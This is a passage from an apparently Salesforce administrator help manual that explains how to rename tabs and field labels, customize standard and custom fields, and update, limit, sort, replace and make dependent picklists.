Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and for Enterprise, Unlimited, and Developer Edition organizations, create record types and set up team
selling.
Opportunity Products
(Located under Opportunities) Customize the standard fields, create custom fields, and control the layout of fields
on product pages within the Opportunities tab.
Quotes
Customize the standard picklists, create custom fields and custom links, and control the layout of fields, related lists,
and custom links, and create PDF templates and terms and conditions.
Quote Line Items
(Located under Quotes) Customize the standard fields, create custom fields, and control the layout of fields on
quote line item pages.
Forecasts
Customize your fiscal year settings, forecast period, default view, and forecast hierarchy. These options are only available
if your organization has enabled customizable forecasting.
Cases
Customize the standard picklists, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set
up case queues, case contact roles, assignment, auto-response, and escalation rules, and support settings.

1051

Customize

Customization Overview

Case Team
(Located under Cases) Define case teams and case team roles for your organization.
Email Messages
(Located under Cases) Create triggers for Email-to-Case or On-Demand Email-to-Case messages.
Case Comments
(Located under Cases) Create triggers for case comments.
Case Milestones
(Located under Cases) Create validation rules for case milestones.
Entitlement Management
Set up entitlement management so that support reps can verify if customers are eligible for support and provide the
correct service levels to your customers.
Entitlements
(Located under Entitlement Management) Customize the standard fields, create custom fields and custom links,
control the layout of fields, related lists, custom links, and create record types and templates.
Entitlement Contacts
(Located under Entitlements) Customize the standard fields.
Service Contracts
(Located under Entitlement Management) Customize the standard fields, create custom fields and custom links,
control the layout of fields, related lists, custom links, and create record types.
Contract Line Items
(Located under Service Contracts) Customize the standard fields, create custom fields and custom links, control
the layout of fields, related lists, custom links, and create record types.
Self-Service
Set up your public solutions, online case capture, and the Self-Service portal.
Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations
continue to have access to the Self-Service portal.

Call Center
Configure the Salesforce CRM Call Center by defining call centers, adding directory numbers, and customizing SoftPhone
layouts.
Service Cloud Console
Customize, extend, or integrate the footer, sidebars, highlights panels, and interaction logs of the Service Cloud console
using Visualforce.

1052

Customize

Customization Overview

Contracts
Customize the standard picklist, create custom fields and custom links, control the layout of fields, related lists, and
custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations. You can also set
the contract expiration notices for your organization and configure auto-calculation of contract end dates.
Solutions
You can customize the standard solution picklists, create custom fields and custom links, control the layout of fields,
related lists, and custom links, and create record types for Enterprise, Unlimited, and Developer Edition organizations.
Products
For Enterprise, Unlimited, and Developer Edition organizations, set up price books, products, and schedules.
Partners
Configure your partner portal.
Salesforce to Salesforce
Enable Salesforce to Salesforce business collaboration both within and across Salesforce organizations.
Connection Finder
(located under Salesforce to Salesforce) Enable the ability to email partners a survey asking if they use Salesforce.
Also, customize default template used for the email and logo used for the survey.
Customer Portal
Enable the Customer Portal for your organization.
Chatter Answers
Enable Chatter Answers and configure a Force.com site and Customer Portal to host Web communities for your
customers.
Ideas
Customize the standard picklists, create custom fields, and control the layout of fields for Enterprise, Unlimited, and
Developer Edition organizations. You can also establish comment validation rules and manage your communities.
Assets
Customize the standard fields, create custom fields, control the layout of fields on asset pages, set search results layouts,
and create custom links.
Territories
For Enterprise, Unlimited, and Developer Edition organizations, create and edit custom territory fields.
Users
Create custom fields and custom links for users.
Console
Create console layouts that display pertinent information to users.
Tags
Enable personal and public tags for your organization. You can also delete personal tags.

1053

Tab Settings

Renaming Tab and Field Labels

Reports & Dashboards


Customize user interface and email settings for reports and dashboards.
Search
Optimize search settings for your organization.
Social Accounts and Contacts
Enable and configure Social Accounts and Contacts for your organization.
User Interface
Enable Quick Create, collapsible page sections, related list hover links, and customize the sidebar for your organization,
among other options.

TAB SETTINGS
Renaming Tab and Field Labels
Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To rename tab and field labels:

Customize Application
OR
View Setup and Configuration
AND
Be designated as a translator

To reset renamed tabs:

Customize Application
OR
View Setup and Configuration
AND
Be designated as a translator

You can change the display labels of tabs, objects, fields, and other related user interface labels so they better reflect your
organization's business requirements. When you rename a label, such as changing the Accounts label to Companies, the
new label appears on all user pages, in Connect for Outlook, and in Connect Offline. With rare exception, all pages in the
Setup area use the default, original labels.
Before renaming tabs, objects, fields, and other related labels, review the implementation tips for administrators.

1054

Customize

Renaming Tab and Field Labels

1. Click Your Name > Setup > Customize > Tab Names and Labels > Rename Tabs and Labels.
2. Select your default language from the Select Language drop-down list at the top of the page.
Note: In Hebrew, we recommend keeping tab renaming to a minimum because variable gender in verbs is not
supported and verbs can lose gender agreement.
3. Click Edit next to the tab you want to rename. Optionally, click Reset to change the name of your renamed tab to its
original name.
Note: You cannot reset custom object tab names.

4. Enter the singular and plural forms of the new tab label. Also, if applicable for the language, select the Starts with a
vowel sound checkbox for labels that start with a vowel. This ensures that the proper article (such as a or an) is used.
Then click Next.
A renamed tab or object cannot use the name of another standard tab, custom object, or custom tab.
5. Enter the standard field labels and other user interface labels to be used for the selected tab or object. Be sure to enter both
a singular and plural form for each label that requires it. Also, select the Starts with a vowel sound checkbox for
labels that start with a vowel.
If your organization uses person accounts, see Renaming Person Account Labels on page 1055.
Note: Some standard fields, such as Created By and Last Modified By, are purposely omitted from renaming
because they track system information.
6. Click Save.
7. Repeat this procedure to translate labels into all other languages used in your organization.
Tip: After renaming a tab or object, rename any custom reports, dashboards, profiles, permission sets, custom fields,
and list views that contain the original name. You can modify labels using the Translation Workbench. To rename a
standard report, click Save As and save it to a folder designed for your new name.
Other tab customization options include the following:

Individual users can control which tabs and related lists display for their own logins. For more information, see Customizing
Your Display on page 42.
In addition to the standard tabs provided by Salesforce, users can create entirely new custom tabs depending on their
Edition. For more information, see Defining Custom Tabs on page 1771.
In Enterprise, Unlimited, and Developer Edition organizations, you can override the tab home page that is displayed when
a user clicks a standard or custom object tab. For more information, see Overriding Standard Buttons and Tab Home
Pages on page 1260.

Renaming Person Account Labels


Person accounts available in: Enterprise, Unlimited, and Developer Editions

If your organization uses person accounts, you can rename the following standard field labels:

1055

Customize

Considerations for Renaming Tab and Field Labels

Field

Tab

Description

Business Account

Accounts

An account that is not a person account because it does not


have a record type specific to person accounts. This label is
primarily used to clarify the type of accounts you are
importing.

Person Account

Accounts

A person account. For more information, see below.

Business Contact

Contacts

A contact that is associated with a business account. This label


is primarily used to clarify the type of accounts you are
importing.

When you rename the Person Account field label, the renamed label appears in Salesforce as follows:

As a prefix to differentiate person account fields such as Birthdate and Home Phone from business account fields. For
example, Person Account: Birthdate is available as an account column in opportunity reports.
In the name of the Is Person Account field and icon. For example, if you rename the Person Account field to
Consumer, then Is Person Account becomes Is Consumer.
Note: The Person Account and Business Account field labels are completely independent from actual record
type names. To customize person account record types, click Your Name > Setup > Customize > Accounts > Person
Accounts > Record Types. To customize business account record types, click Your Name > Setup > Customize >
Accounts > Record Types.

See Also:
Replacing Salesforce Online Help
Customization Overview
What is a Person Account?

Considerations for Renaming Tab and Field Labels


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To rename tab and field labels:

Customize Application

To reset renamed tabs:

Customize Application

Renaming standard and custom Salesforce tabs, objects, fields, and other related user interface labels is a valuable feature that
has far-reaching implications for all your users. Before renaming anything for your organization, review the following
considerations to determine how it will affect your users:

Most standard tabs and objects can be renamed but not all. For example, the Forecasts tab is not available for renaming.
Click Your Name > Setup > Customize > Tab Names and Labels > Rename Tabs and Labels to view a list of the tabs
and objects you can rename.

1056

Fields

Customizing Fields

The renamed labels display on all user pages in Salesforce including Personal Setup. However, all pages in the Setup area
use the default, original labels.
Some standard fields, such as Created By and Last Modified By, are purposely omitted from renaming because they
track system information.
After renaming tabs, objects, or fields, check the following additional items that may need manual updates:

Review all list view names. List view names continue to display the original object name until you change them manually.
Check standard report names and descriptions for the objects you renamed.
Update the titles and descriptions of any email templates that contain the original object or field name.
Manually change any other items you customized with the standard object or field name. For example, custom fields,
page layouts, and record types may contain the original tab or field name.

Connect Offline, Connect for Lotus Notes, Connect for Outlook, and Salesforce for Outlook use your new names.
If you have renamed tabs, objects, or fields, you can also replace the Salesforce online help with another URL. Users can
view this URL whenever they click on any context-sensitive help link on an end-user page or within Personal Setup. After
you replace the help, the Help & Training link at the very top of every page and all Administration Setup pages will
continue to display Salesforce online help. For instructions on replacing the online help, see Replacing Salesforce Online
Help on page 1611.
In Hebrew, we recommend keeping tab renaming to a minimum because variable gender in verbs is not supported and
verbs can lose gender agreement.

See Also:
Renaming Tab and Field Labels

FIELDS
Customizing Fields
Available in: All Editions
Standard Fields and Page Layouts are not available in Database.com

User Permissions Needed


To create or change custom fields:

Customize Application

Customize fields to tailor your organizations unique requirements. You can:

Modify some aspects of standard fields


Change or add values to custom picklist fields
Define dependency rules between fields

1057

Customize

Customizing Standard Fields

Create custom fields to capture additional information


Create formula fields that automatically calculate values based on the contents of other fields
Define default values for custom fields
Define validation rules for your fields
Make a field required
Set fields to track changes, including the date, time, nature of the change, and who made the change
Create page layouts to control the display of fields
Set field-level security to control access to fields
Create or modify field sets

See Also:
Creating Custom Fields
Viewing Fields
Overview of Relationships
Creating a Many-to-Many Relationship

Customizing Standard Fields


Available in: All Editions except for Database.com.

User Permissions Needed


To change standard fields:

Customize Application

You can customize several aspects of standard fields, such as the values in picklists, the format for auto-number fields, tracking
field history, lookup filters on relationship fields, and field-level help.
In Enterprise, Unlimited, and Developer Editions, you can also view details about standard fields and set field-level security.

See Also:
Creating Custom Fields
Modifying Standard Auto-Number Fields
Viewing Fields
Field-Level Security Overview
Tracking Field History

1058

Customize

Picklist Considerations

Modifying Standard Auto-Number Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To modify standard auto-number fields:

Customize Application

The unique identifiers for solutions, cases, and contracts are standard auto-number fields. Each record is assigned a unique
number with a specified format upon creation. You can modify the format and numbering for these auto-number fields.
1. Click Your Name > Setup > Customize, select the appropriate tab link, and then click the Fields link.
2. Click Edit next to the name of the field in the Standard Fields list.
3. Enter a Display Format to control such formatting details as the minimum number of leading zeros as well as any prefix
or suffix for the number. See Custom Field Attributes on page 1081.
Format changes do not affect existing records; they are applied only to new records.
4. Enter the number to be assigned to the next record that is created after you save your changes.
5. Click Save.
Caution: Salesforce warns you if the next number you enter is not higher than existing numbers. However, it may be
possible to create duplicate numbers if you change the auto-number format multiple times using similar formats each
time.

See Also:
Custom Field Types

Picklist Considerations
Available in: All Editions

User Permissions Needed


To change picklists:

Customize Application

Customized selection lists, or picklists, let users pick values from a predefined list of entries. You can update the entries in
picklists; see Updating Picklists on page 1060.
To set up multiple lists of picklist values and make them available for different parts of your organization, see Managing Record
Types on page 1268.

1059

Customize

Picklist Considerations

Using picklists simplifies report filters; instead of manually entering matching values, users can select from a predefined list
of picklist values.

See Also:
Sorting Picklists
Replacing Picklist Values
Defining Dependent Picklists

Updating Picklists
Available in: All Editions
Standard Objects are not available in Database.com

User Permissions Needed


To change picklists:

Customize Application

To update any picklist field:


1. Navigate to the fields page for your object. For example, for account fields, click Your Name > Setup > Customize >
Accounts > Fields.
For custom objects, click Your Name > Setup > Create > Objects, then click the name of an object.
For Knowledge validation status picklists, click Your Name > Setup > Customize > Knowledge > Validation Statuses.
2. In the Custom Fields & Relationships related list, click the name of the picklist field you want to update.
3. In the Picklist Values section, click Edit next to a value.
4. In the Picklist Edit page, you can change the name of the value and make the value the default for the master picklist. You
can also assign a color for use in charts by clicking the
click Assign color dynamically.

button. To assign a color dynamically when a chart is generated,

Note: Chart colors aren't available for multi-select picklists, currency picklists, or Task Subject, Event Subject,
Knowledge Validation Status, and Opportunity Competitor picklists.
Tip:

Some special picklists, such as Task Priority, Stage, or Partner Role, have additional information that
you can edit.
If you use record types, changing the default value of the master picklist does not affect the default value of the
picklist for a record type.
For Salesforce CRM Ideas, setting the default value of the Categories or Status picklists does not affect the
default value on the Salesforce CRM Ideas pages.
If you change the label for a picklist value that is used as a filter criteria on a report, the picklist value is
automatically removed from the filter criteria. For example, if your report contains a filter where Lead Source

1060

Customize

Picklist Considerations

equals Email or Web and you change the picklist value Web to Referral, your report filter will change
to Lead Source equals Email. If the changed picklist value was the only value specified for a particular
filter, it will continue to show up in your report filters, but an error will display on the report wizard.

5. Click Save.
Note: If your organization uses the Translation Workbench, notify your translators that the translations may be out
of date whenever you change picklist values.

See Also:
Picklist Considerations
Picklists with Additional Information
Picklist Limitations
Additional Options for Updating Picklists

Additional Options for Updating Picklists


Use the following options to edit picklist values.

Click Edit next to a value to change the name, make it the default picklist value, assign a color to use on charts, or change
additional information.
Click Del next to a value to remove it from the picklist.
Special picklistssuch as opportunity Stage, Task Priority, Task Status, Lead Status, and Case Statusmay
prompt you to map the deleted value to another existing value in all of your organizations records. You can map the values
or leave your existing data unchanged.

Click New to add values to the picklist. If you use record types, select any record types that you want to include the new
values.
Click Reorder to change the sequence of picklist values.
Click Replace to change the values of picklist fields in existing records.
Click Printable View to open an easy-to-print list of your picklist values.
Click Chart Colors and select an option to assign colors to picklist values for use in charts:
Assign fixed colors to all values assigns a fixed color to each value from the standard set of chart colors. The Chart
Colors column shows the assigned colors. Manually change assigned colors by editing picklist values. For example,
if you want Closed Lost values to always show up as red in charts grouped by Opportunity Stage, assign red to that
picklist value.
Assign colors to values dynamically assigns colors when a chart is generated. The Chart Colors column shows
Assigned dynamically for all colors. Assign fixed colors by editing picklist values. For example, if you only need certain
picklist values to show up as fixed colors in charts, manually assign colors to those values and leave the rest as Assigned
dynamically.
Manual assignments are overridden each time you click an option in Chart Colors.

1061

Customize

Picklist Considerations

Note: Chart colors aren't available for multi-select picklists, currency picklists, or Task Subject, Event Subject,
Knowledge Validation Status, and Opportunity Competitor picklists.

For organizations using record types, this picklist is a master picklist. You can include some or all of the values from the master
picklist in different record types to offer a subset of values to users based on their profile. For instructions on sharing master
picklist values across record types, see Managing Record Types on page 1268.

See Also:
Custom Field Attributes
Picklist Considerations
Updating Picklists

Picklists with Additional Information


These standard picklist fields have additional information that you can edit.
Picklist

Description

Partner Role (for accounts)

Roles of account partners, for example, Consultant, Supplier.


These options are available when you add an account to the
Partners related list of an account or opportunity.
To edit, click Your Name > Setup > Customize > Accounts
> Partner Roles.
Enter the name of the partner role in the Role column. In
the Reverse Role column, enter the corresponding reverse
partner role. Assigning a partner role to an account creates a
reverse partner relationship so that both accounts list the other
as a partner.
Each role and reverse role value can have up to 40 characters.

Priority (for cases)

Urgency of case, for example, Low, High.


If you delete a value, you have the option to map the deleted
value to another existing value in all of your organizations
cases.
Each picklist value can have up to 40 characters.

Status (for campaign members)

State of a campaign member, for example, Sent or Responded.


If you delete a Status value, you have the option to map the
deleted value to another existing value. The new replacement
value is automatically added to the member status for
campaigns that contained the deleted value.

1062

Customize

Picklist

Picklist Considerations

Description
If the deleted value is the default member status for a
campaign, the new replacement value becomes the default
status for that campaign.

Status (for cases)

State of case, for example, New, On Hold.


If you delete a value, you have the option to map the deleted
value to another existing value in all of your organizations
cases.
Each picklist value can have up to 40 characters.

Status (for contracts)

State of the contract in the contract business process. You can


add values to this picklist and organize each value into one of
several categories, for example, Draft, In Approval Process,
or Activated. Then sort your contracts using these categories
in reports and views.

Contact Role (for contracts)

Role of a contact on a contract, for example, Business User,


Decision Maker. These options are available when you add a
contact to the Contact Roles related list of a contract.
To edit, click Your Name > Setup > Customize > Contracts
> Contact Roles.
Each picklist value can have up to 40 characters.

Lead Status (for leads)

State of the lead, for example, Open, Qualified.


Select one value as the Default Status assigned to all new
leads created manually, via the import wizard, or via your
website. Select one or more values as the Converted Status
assigned to converted leads. When you convert qualified leads
into an account, contact, and opportunity, you can select one
of the Converted statuses to assign to the lead. Leads with
a Converted status type are no longer available in the Leads
tab, although you can include them in reports.
If you delete a value, you have the option to map the deleted
value to another existing value in all of your organizations
leads.
Each value can have up to 20 characters.

Contact Role (for opportunities)

Role of a contact for an opportunity, for example, Business


User, Decision Maker. These options are available when you
add a contact to the Contact Roles related list of an
opportunity.
To edit, click Your Name > Setup > Customize >
Opportunities > Contact Roles.
Each picklist value can have up to 40 characters.

1063

Customize

Picklist Considerations

Picklist

Description

Stage (for opportunities)

Sales process stages, for example, Prospect, Proposal. This


picklist also affects the Type and Forecast Category
values of an opportunity. Specifically, changing the Type or
Forecast Category for a Stage picklist value updates all
opportunities that have that stage value.
To edit, click Your Name > Setup > Customize >
Opportunities > Fields, and select Edit next to the field.
To deactivate an active stage, click Del next to the stage. On
the mapping page, don't replace the stage with another existing
value; just click Save. The stage now appears in the Inactive
Stage Picklist Values related list. The stage is no longer in use
but may exist in older opportunity records.

Status (for solutions)

Status of a solution, for example, Draft, Reviewed. Mark one


or more values as Reviewed. When users solve cases using
solutions, they can view which solutions have been reviewed
and which have not. Each picklist value can have up to 40
characters.

Priority (for tasks)

Importance of the task, for example, High, Normal, Low. Set


one value as the default priority of all new tasks, and one value
as the highest priority.
If you delete a value, you have the option to map the deleted
value to another existing value in all of your organizations
tasks.
Each picklist value can have up to 20 characters.

Status (for tasks)

State of a task, for example, Not Started, Completed. Choose


at least one value as the Closed status and one value as the
Default status for all new tasks.
If you delete a value, you have the option to map the deleted
value to another existing value in all of your organizations
tasks.
Each picklist value can have up to 40 characters.

Task Type (for tasks)

Send Email Default specifies the default task type

assigned when the task is sending email or mass email, and


when tasks are created via inbound email, such as Email to
Salesforce. Default specifies the default picklist value when
creating tasks.

1064

Customize

Picklist Considerations

Picklist

Description
To edit, click Your Name > Setup > Customize > Activities
> Task Fields, and select Edit next to the picklist value you
want to specify as the default.

See Also:
Picklist Considerations
Picklist Limitations

Picklist Limitations
Available in: All Editions
Standard Picklists are not available in Database.com

User Permissions Needed


To change picklists:

Customize Application

The maximum number of entries you can have in a picklist is determined by the total number of characters allowed in the
picklist, which is 15,000 characters. Note that each entry includes a linebreak and a return character that are not visible. These
two additional characters per entry are counted as part of the 15,000 character limit.
Additional limits apply to both standard and custom picklists.
Additional Limits for Standard Picklists
For standard picklists, entries can be up to 40 characters, not including linebreaks and returns. For standard multi-select
picklists, the total number of characters for all entries cannot exceed 255.
For standard picklists in organizations that use record types or the Translation Workbench, you can have an unlimited number
of entries with the following exceptions for special picklists.
Picklist Field

Maximum Number of Entries

Lead Status

100

Task Status

100

Task Priority

50

Case Status

100

Case Priority

50

Opportunity Stage

100

1065

Customize

Defining Dependent Picklists

Additional Limits for Custom Picklists


Within the 15,000 total character limit, custom picklists can have:

Up to 1,000 entries
Up to 255 characters per entry

Custom multi-select picklists can have:

Up to 150 values
Up to 40 characters per value

Note that for multi-select picklists, users can select up to 100 values at a time on a record.

See Also:
Picklist Considerations

Defining Dependent Picklists


Available in: All Editions
Standard Objects are not available in Database.com

User Permissions Needed


To define dependent picklists:

Customize Application

To define a dependent picklist:


1. Navigate to the fields area of the appropriate object:

For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
For custom settings, click Your Name > Setup > Develop > Custom Settings, and click the name of the custom
setting.

2. Click Field Dependencies.


3. Click New.
4. Choose a controlling field and dependent field.
Note: Some picklist and checkbox fields may not be available as controlling fields. For a complete list of these
fields, see Dependent Picklist Considerations on page 1070.
5. Click Continue.
6. Use the field dependency matrix to specify the dependent picklist values that are available when a user selects each controlling
field value.

1066

Customize

Defining Dependent Picklists

7. Optionally, click Preview to test your selections. If your organization uses record types, choose a record type to test how
it affects your controlling and dependent picklist values. The record type controls what values are available in the controlling
field. The record type and the controlling field together determine what values are available in the dependent pickilst. For
example, a dependent value is only available if it is available in the selected record type as well as the selected controlling
value.
Note: The Filter by Record Type option does not appear in the Preview window for activity custom fields.

8. Click Save.
9. If your organization uses record types, make sure that your controlling and dependent picklist values are available in the
appropriate record types. For instructions on using record types, see Managing Record Types on page 1268.

See Also:
Dependent Picklist Considerations
Editing Dependent Picklists
Deleting Picklist Dependencies

About Dependent Picklists


Available in: All Editions

Use dependent picklists to help your users enter accurate and consistent data. A dependent picklist is a custom or multi-select
picklist for which the valid values depend on the value of another field, called the controlling field. Controlling fields can be
any picklist (with at least one and fewer than 300 values) or checkbox field on the same record.
For example, you can define a Reason custom picklist on opportunities and make its valid values depend on the value of the
Stage picklist as follows:

If Stage is Closed Won, the valid values for Reason are Superior features or Lower price.
If Stage is Closed Lost, the valid values for Reason are Inferior features, Higher price, or Company
viability.

See Also:
Defining Dependent Picklists
Dependent Picklist Considerations

1067

Customize

Defining Dependent Picklists

Using the Field Dependency Matrix


Available in: All Editions

User Permissions Needed


To define picklist dependencies:

Customize Application

The field dependency matrix lets you specify the dependent picklist values that are available when a user selects each controlling
field value. The top row of the matrix contains the controlling field values, while the columns list the dependent field values.
Use this matrix to include or exclude values. Included values are available in the dependent picklist when a value in the
controlling field is selected. Excluded fields are not available in the dependent picklist for the selected controlling field value.
To include or exclude values:

Double-click values to include them. Included values are indicated with highlighting. Double-click any highlighted values
to exclude them.
Click a value and use SHIFT+click on another value to select a range of adjacent values. Then click Include Values to
make the values available, or Exclude Values to remove them from the list of available values.
Click a value and use CTRL+click to select multiple values. Then click Include Values to make the values available, or
Exclude Values to remove them from the list of available values.
Click a column header to select all the values in that column. Then click Include Values to make the values available, or
Exclude Values to remove them from the list of available values.

To change the values in your view:

Click View All to view all available values at once.


Click Go To and choose a controlling value to view all the dependent values in that column.
Click Previous or Next to view the values in columns that are on the previous or next page.
Click View sets of 5 to view 5 columns at a time.

Editing Dependent Picklists


Available in: All Editions

User Permissions Needed


To edit field dependencies:

Customize Application

To edit dependent picklists:


1. Navigate to the fields area of the appropriate object:

1068

Customize

Defining Dependent Picklists

For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
For custom settings, click Your Name > Setup > Develop > Custom Settings, and click the name of the custom
setting.

2. Click Field Dependencies.


3. Click Edit next to the field dependency relationship you want to change.
4. Use the field dependency matrix to specify the dependent picklist values that are available when a user selects each controlling
field value.
5. Optionally, click Preview to test your selections.
6. Click Save.

See Also:
About Dependent Picklists

Deleting Picklist Dependencies


Available in: All Editions

User Permissions Needed


To delete picklist dependencies:

Customize Application

If you no longer want the values of a dependent picklist to depend on a controlling field, delete its dependency. Deleting the
dependency removes the logic that defines how the values of the picklist depend on the controlling field, but doesn't delete
the fields or affect their data.
To delete picklist dependencies:
1. For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
2. For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
3. Click Field Dependencies.
4. Click Del next to the field dependency relationship you want to delete.
5. Click OK to confirm.

See Also:
About Dependent Picklists

1069

Customize

Defining Dependent Picklists

Dependent Picklist Considerations


Available in: All Editions
Page Layouts and Leads are not available in Database.com

User Permissions Needed


To define and edit dependent picklists:

Customize Application

Consider the following when defining dependent picklists:


Checkboxes
Checkbox fields can be controlling fields but not dependent fields.
Converting fields
Convert your existing fields to dependent picklists or controlling fields without affecting the existing values in your
records. Going forward, dependency rules apply to any changes to existing records or new records.
Default values
You can set default values for controlling fields but not for dependent picklists.
Field-level security
Field-level security settings for a controlling field and dependent picklist are completely independent. Remember to hide
controlling fields whenever its correlating dependent picklist is hidden.
Import
The import wizards do not consider field dependencies. Any value can be imported into a dependent picklist regardless
of the value imported for a controlling field.
Lead conversion
If you create a dependency for lead fields that map to account, contact, and opportunity fields for lead conversion, create
the same dependency on the account, contact, or opportunity as well.
Dependent picklists and controlling lead fields can be mapped to account, contact, or opportunity fields with different
dependency rules.
Multi-select picklists
Multi-select picklists can be dependent picklists but not controlling fields.
Connect Offline
While controlling fields and dependent picklists are available in Connect Offline, the logic between them is not.
Page layouts
Make sure controlling fields exist on any page layout that contains their associated dependent picklist. When the
controlling field is not on the same page layout, the dependent picklist shows no available values.
For visually-impaired users, make sure the dependent picklist is lower on the page layout than its controlling field.

1070

Customize

Defining Dependent Picklists

If a dependent picklist is required and no values are available for it based on the controlling field value, users can save
the record without entering a value. The record is saved with no value for that field.
Picklist limitations
Custom picklist fields can be either controlling or dependent fields.
Standard picklist fields can be controlling fields but not dependent fields.
The maximum number of values allowed in a controlling field is 300. In addition, if a field is both a controlling field
and dependent picklist, it can't contain more than 300 values.
Before defining a dependency, make sure your picklist has at least one value; standard fields like Product Family do
not contain any values until you add them.
If a standard controlling field relies on functionality that your organization decides to disable, the dependency rules for
the picklist will go away. For example, if your organization disables the Self-Service portal and the Closed by
Self-Service User is a controlling field, its dependent picklist will display all available values.
The following fields are not available as controlling fields:
Activity Fields
Call Type
Create recurring series of events
Show Time As
Subject
Task
Type

Contact Fields
Salutation
Contact Currency

Custom Object Fields


Currency

Lead Fields
Converted
Unread By Owner

Record types
The values in your controlling fields are determined by the record type selected. The values in your dependent picklists
are determined by the record type and controlling field value selected. In short, the values available in dependent picklists
are an intersection of the record type and controlling field selections. For more information on record types, see Managing
Record Types on page 1268.

See Also:
About Dependent Picklists

1071

Customize

Sorting Picklists

Sorting Picklists
Available in: All Editions

User Permissions Needed


To sort picklists:

Customize Application

You can sort the values of picklist fields.


1. Navigate to the appropriate object:

For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields.
For standard task and event fields, click Your Name > Setup > Customize > Activities, then click Task Fields or
Event Fields.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
For Knowledge validation status picklists, click Your Name > Setup > Customize > Knowledge > Validation Statuses.

2.
3.
4.
5.
6.

Click Edit next to the picklist you want to update.


Click Reorder.
Use the arrows to arrange the field in the proper sequence.
Select a default, if desired.
Check the box to alphabetize the entries for users on edit pages. The entries will always appear in alphabetical order,
regardless of the users language.
7. Click Save.
Note: On record edit and detail pages and in reports, picklist and multi-select picklist fields may include inactive
values. These inactive values are sorted last, unless you have chosen alphabetical sorting. In that case, all values are
sorted alphabetically.

See Also:
Picklist Considerations

1072

Customize

Replacing Picklist Values

Replacing Picklist Values


Available in: All Editions

User Permissions Needed


To replace picklist values:

Customize Application

You may need to replace a picklist value with another. For example, your status picklist has five values (Open, In Progress,
Closed-red, Closed-yellow, and Closed-green) and you want to simplify it to three values (Open, In Progress, and Closed).
You need to replace the Closed-red, Closed-yellow, and Closed-green values with a new value: Closed.
Note: Replacing an existing picklist value also changes the Modified By date and time for the record.

To globally replace the values of picklist fields in existing records follow the steps below.
1. If necessary, create the replacement value in the picklist edit page, see Updating Picklists on page 1060.
2. Navigate to the fields area of the appropriate object:

For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields.
For standard task and event fields, click Your Name > Setup > Customize > Activities, then click Task Fields or
Event Fields.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
For Knowledge validation status picklists, click Your Name > Setup > Customize > Knowledge > Validation Statuses.

3.
4.
5.
6.

Click Replace next to the picklist.


Type the exact value you want to change, and select a new replacement value.
Check Replace all blank values to apply the new value on any records that do not have a value in this field.
Click Replace to update all occurrences of the value with the new value in your organizations records including those in
the Recycle Bin.
7. In the Replace Picklist Confirmation page, click Finished.
Note: If you replace the Stage picklist for opportunities, the Probability, Forecast Category, and Expected
Revenue fields are also updated with the corresponding values.

See Also:
Picklist Considerations

1073

Customize

About Custom Fields

About Custom Fields


Available in: All Editions
Tabs are not available in Database.com

User Permissions Needed


To create or change custom fields:

Customize Application

To tailor your organization, you can add custom fields for each of the tabs and objects that your organization uses.
For the total number of custom fields you can create, see Salesforce Editions and Limits on page 2076.
See the following for more information:

Creating Custom Fields


Editing Fields
Viewing Fields
Deleting Fields
Building Formulas
Defining Dependent Picklists
Defining Default Field Values
Additional Custom Field Options
Custom Field Attributes
Changing Custom Field Type

1074

Customize

About Custom Fields

Creating Custom Fields


Available in: Personal, Professional, Enterprise, Unlimited, Developer, and Database.com Editions
Relationship fields are not available in Personal Edition
Custom settings are not available in Professional Edition
Layouts are not available in Database.com

User Permissions Needed


To create or change custom fields:

Customize Application

Create custom fields to store the information that is important to your organization. Before you begin, determine the type of
custom field you want to create. You can create many different custom field types, including lookup, master-detail, and
hierarchical relationships.
To add a custom field:
1. Navigate to the fields area of the appropriate object:

For standard objects, click Your Name > Setup > Customize, select the appropriate object from the Customize menu,
and click Fields.
For custom task and event fields, click Your Name > Setup > Customize > Activities > Activity Custom Fields.
For custom objects, click Your Name > Setup > Create > Objects, and select one of the custom objects in the list.
For custom settings, click Your Name > Setup > Develop > Custom Settings, and click the name of the custom
setting.

2. Click New in the Custom Fields & Relationships section of the page.
Tip: From this section, you can also set field dependencies and field history tracking on custom objects.

3. Choose the type of field to create, and click Next.


Note:

Some data types are only available for certain configurations. For example, the Master-Detail Relationship
option is available only for custom objects when the custom object does not already have a master-detail
relationship. Also, custom settings only allow a subset of the available data types.
Relationship fields count towards custom field limits.
Field types not listed in custom field types may appear if your organization installed a package from the
AppExchange that uses those custom field types.
The Roll-Up Summary option is only available on certain objects.
Field types correspond to API data types. For more information, see API Data Types and API Field Types
in the SOAP API Developer's Guide.

4. For relationship fields, choose the object that you want to associate with it.

1075

Customize

About Custom Fields

5. Enter a field label.


The Field Name is automatically populated based on the field label you enter. This name can contain only underscores
and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not
end with an underscore, and not contain two consecutive underscores. Use the field name for merge fields in custom links,
custom s-controls, and when referencing the field from the API. For more information, see Guidelines for Using Merge
Fields on page 460.
Tip:
Ensure that both the custom field name and label are not identical to the name and label of any existing standard
or custom field for that object. Identical values may result in unexpected behavior when you reference that name
